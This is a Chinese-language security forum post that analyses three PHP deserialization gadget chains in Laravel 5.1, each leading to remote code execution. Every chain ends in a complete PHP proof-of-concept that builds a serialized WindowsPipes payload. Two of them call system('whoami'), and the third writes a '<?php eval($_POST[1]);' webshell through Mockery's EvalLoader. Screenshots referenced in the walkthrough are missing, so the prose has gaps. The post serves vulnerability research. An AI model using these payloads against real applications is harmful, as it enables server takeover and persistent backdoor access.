最近在复现php反序列化漏洞,顺手挖了几条链子,希望师傅们多多点评,
0x00 准备
使用composer拉一个laravel5.1的环境
composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
配置路由 控制等不在叙述
0x01 RCE1
先搜索__destruct方法
在WindowsPipes类中__destruct方法可任意删除文件

这里调用到了$this->removeFiles()跟进查看

遍历了$this->files判断文件是否存在,然后删除文件。这里调用__toString
全局搜索__toString
在View类中__toString方法调用了$this->render()

跟进这个函数看看

发现调用了$this->renderContent()
跟进看看

这里调用了$this->factory->incrementRender()可以调用任意类的__call方法
全局搜索__call方法
在ValidGenerator类中__call方法需要控制参数达到RCE的目的

$this->vaildator可控,接下来我们只需要控制$res即可
$res = call_user_func_array(array($this->generator, $name), $arguments);
调用方式为任意类的函数方法,$this->generator可控,所以就代表了可以调用任意类的__call方法,我们只需要找到一个__call方法返回任何值即可。
在DefaultGenerator类中__call方法可以返回任意值,

接下来构造poc
<?php
namespace Faker;
class DefaultGenerator{
protected $default;
public function __construct(){
$this->default='whoami';
}
}
namespace Faker;
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct(){
$this->maxRetries=1;
$this->validator='system';
$this->generator=new DefaultGenerator;
}
}
namespace Illuminate\View;
use Faker\ValidGenerator;
class View{
protected $factory;
public function __construct(){
$this->factory=new ValidGenerator;
}
}
namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
private $files = array();
public function __construct(){
$this->files = array(new View());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
成功RCE

0x02 RCE2
继续从__call方法寻找
全局搜索__calll
在DatabaseManager类中调用了$this->connection()

跟进$this->connecttion()

通过$this->parseConnectionName($name)给$name赋值,跟进

通过$this->getDefaultConnection()给$name赋值,跟进
直接返回了$this->app['config']['database.default'];

最后返回,

跟进endsWitch

传入的$name并不在传入的['::read','::write']中所以返回false
最终返回了[$name,null] $name最终被传入的$this->app['config']['database.default']赋值
当$this->connections[$name]不存在,执行$this->makeConnection($name)方法,跟进

发现call_user_func方法控制参数可达到RCE的目的,
第二个参数$config,跟进$this->getConfig()看看返回值是什么

通过app['config']['database.connections']赋值给$connections然后通过Arr::get($connections, $name)赋值给$config
跟进Arr::get

传入的$key为whoami,所以直接返回了system
相当于$config=$this->app['config']['database.connections']['whoami']
第一个参数$this->extensions[name]赋值call_user_func
<?php
namespace Illuminate\Database;
class DatabaseManager{
protected $extensions = array();
protected $app=array();
public function __construct(){
$this->extensions['whoami']='call_user_func';
$this->app['config']['database.connections']=['whoami'=>'system'];
$this->app['config']['database.default'] = 'whoami';
}
}
namespace Illuminate\View;
use Illuminate\Database\DatabaseManager;
class View{
protected $factory;
public function __construct(){
$this->factory=new DatabaseManager;
}
}
namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
private $files = array();
public function __construct(){
$this->files = array(new View());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
成功RCE

0x03 RCE3
继续从__call方法寻找
全局搜索__call
在Validator类中__call方法中满足$this->extensions[$rule]存在则调用$this->callExtension方法

跟进看一下

满足$callback是字符串则调用$this->callClassBasedExtension(),继续跟进$this->callClassBasedExtension()

这里
call_user_func_array([$this->container->make($class), $method], $parameters);
只要控制$this->container->make($class)的返回值,就可以调用任意类的任意方法。
全局搜索一下危险函数,如eval,system,call_user_func,shell_exec等
运气比较好搜了一下eval便出了
在EvalLoader类中存在load方法满足class_exists($definition->getClassName(),false)===false则调用了eval函数

跟进一下$definition->getCode()看一下参数是否可控

直接返回了$this->code参数便可控,
调用load函数中,发现需要传参MockDefinition $definition,上面调用__call这一步就没有办法用了,因为没有传参。所以无法控制$parameters。所以这里换到了ObjectStateToken类中的__toString函数可以控制传参。

成功调用到了EvalLoader类中的load函数

看一下class_exists的定义

$definition->getClassName()返回一个没有定义的类即可。跟进查看

返回了$this->config->getName()让他去调用__call方法返回一个任意值即可。
这里还利用DefaultGenerator类中的__call方法返回任意值,
接下来控制$definition->getCode(),跟进查看一下

直接返回了$this->code直接赋值即可。
构造poc
<?php
namespace Mockery\Loader;
class EvalLoader{}
namespace Faker;
use Mockery\Loader\EvalLoader;
class DefaultGenerator{
public $default;
public function __construct(){
$this->default=new EvalLoader;
}
}
namespace Illuminate\Validation;
use Faker\DefaultGenerator;
class Validator{
protected $extensions = [];
protected $container;
public function __construct(){
$this->extensions['y']='huahua@load';
$this->container=new DefaultGenerator;
}
}
namespace Mockery\Generator;
use Faker\DefaultGenerator;
class MockDefinition{
protected $config;
public function __construct(){
$this->config=new DefaultGenerator;
$this->config->default='huahua';
$this->code='<?php eval($_POST[1]);';
}
}
namespace Prophecy\Argument\Token;
use Illuminate\Validation\Validator;
use Mockery\Generator\MockDefinition;
class ObjectStateToken{
private $util;
private $value;
public function __construct(){
$this->util=new Validator;
$this->value=new MockDefinition;
}
}
namespace Symfony\Component\Process\Pipes;
use Prophecy\Argument\Token\ObjectStateToken;
class WindowsPipes{
private $files = array();
public function __construct(){
$this->files = array(new ObjectStateToken());
}
}
echo urlencode(serialize(new WindowsPipes()));
?>
- 本文作者: 花北城
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1568
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!